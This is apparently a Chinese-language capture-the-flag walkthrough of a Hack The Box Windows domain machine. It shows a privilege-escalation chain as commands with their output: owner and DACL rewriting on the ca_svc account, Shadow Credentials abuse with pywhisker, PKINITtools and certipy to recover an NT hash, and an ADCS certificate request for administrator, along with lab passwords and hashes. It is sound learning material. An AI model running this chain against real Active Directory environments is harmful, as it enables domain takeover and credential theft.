MACHINE INFORMATION As is common in real life Windows pentests, you will start this box with credentials for the following account: rose / KxEPkKe6R8su
$ impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc''SEQUEL.HTB'/'ryan':'WqSZAF6CysDQbGb3' [*] Current owner information below [*] - SID: S-1-5-21-548670397-972687484-3496335370-1114 [*] - sAMAccountName: ryan [*] - distinguishedName: CN=Ryan Howard,CN=Users,DC=sequel,DC=htb [*] OwnerSid modified successfully! $ impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc''sequel.htb'/'ryan':'WqSZAF6CysDQbGb3' Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20250114-235146.bak [*] DACL modified successfully!
首先修改权限为 FullControl, 然后通过 Shadow Credentials 获取 NT hash
1 2 3 4 5 6 7 8 9 10 11 12
$ pywhisker -d "sequel.htb" -u "ryan" -p "WqSZAF6CysDQbGb3" --target "ca_svc" --action "add" [*] Searching for the target account [*] Target user found: CN=Certification Authority,CN=Users,DC=sequel,DC=htb [*] Generating certificate [*] Certificate generated [*] Generating KeyCredential [*] KeyCredential generated with DeviceID: 6c14e8ad-83fd-f650-3381-bde53c035c06 [*] Updating the msDS-KeyCredentialLink attribute of ca_svc [+] Updated the msDS-KeyCredentialLink attribute of the target object [+] Saved PFX (#PKCS12) certificate & key at path: 9xUY4Qsk.pfx [*] Must be used with password: OWezRO9HwuwZlhSAstBH [*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
1 2 3 4 5 6 7 8 9 10 11
$ python3 gettgtpkinit.py sequel.htb/ca_svc -cert-pfx 9xUY4Qsk.pfx -pfx-pass OWezRO9HwuwZlhSAstBH ccache 2025-01-14 21:12:28,845 minikerberos INFO Loading certificate and key from file INFO:minikerberos:Loading certificate and key from file 2025-01-14 21:12:28,851 minikerberos INFO Requesting TGT INFO:minikerberos:Requesting TGT 2025-01-14 21:12:29,126 minikerberos INFO AS-REP encryption key (you might need this later): INFO:minikerberos:AS-REP encryption key (you might need this later): 2025-01-14 21:12:29,126 minikerberos INFO fabb6e6becd4efaed3a6740783d54c9bdc405f097f351433fa9b3bb3852883ba INFO:minikerberos:fabb6e6becd4efaed3a6740783d54c9bdc405f097f351433fa9b3bb3852883ba 2025-01-14 21:12:29,131 minikerberos INFO Saved TGT to file INFO:minikerberos:Saved TGT to file
1 2 3 4 5 6 7
$ python3 getnthash.py sequel.htb/ca_svc -key fabb6e6becd4efaed3a6740783d54c9bdc405f097f351433fa9b3bb3852883ba Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache [*] Requesting ticket to self with PAC Recovered NT Hash 3b181b914e7a9d5508ea1e20bc2b7fce
就有了 ca_svc 的 NT hash,这里也可以用 certipy 一步到位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
$ certipy shadow auto -u [email protected] -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' 23:36:23 [2/469] Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Targeting user 'ca_svc' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID 'e3236247-9699-f7ee-b545-5f22eb1c1b2c' [*] Adding Key Credential with device ID 'e3236247-9699-f7ee-b545-5f22eb1c1b2c' to the Key Credentials for 'ca_svc' [*] Successfully added Key Credential with device ID 'e3236247-9699-f7ee-b545-5f22eb1c1b2c' to the Key Credentials for 'ca_svc' [*] Authenticating as 'ca_svc' with the certificate [*] Using principal: [email protected] [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'ca_svc.ccache' [*] Trying to retrieve NT hash for 'ca_svc' [*] Restoring the old Key Credentials for 'ca_svc' [*] Successfully restored the old Key Credentials for 'ca_svc' [*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 25 [*] Got certificate with multiple identifications UPN: '[email protected]' DNS Host Name: '10.10.11.51' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator_10.pfx'
结语
第一次拿下域渗透相关的 Active Machine,BloodHound 在后续这部分提供了很大的思路上的帮助,没接触过这部分也可以按照思路去学习和熟悉。 前面几乎都是信息搜索和用户枚举,挺有意思的。期待后面的 Season 7 机器。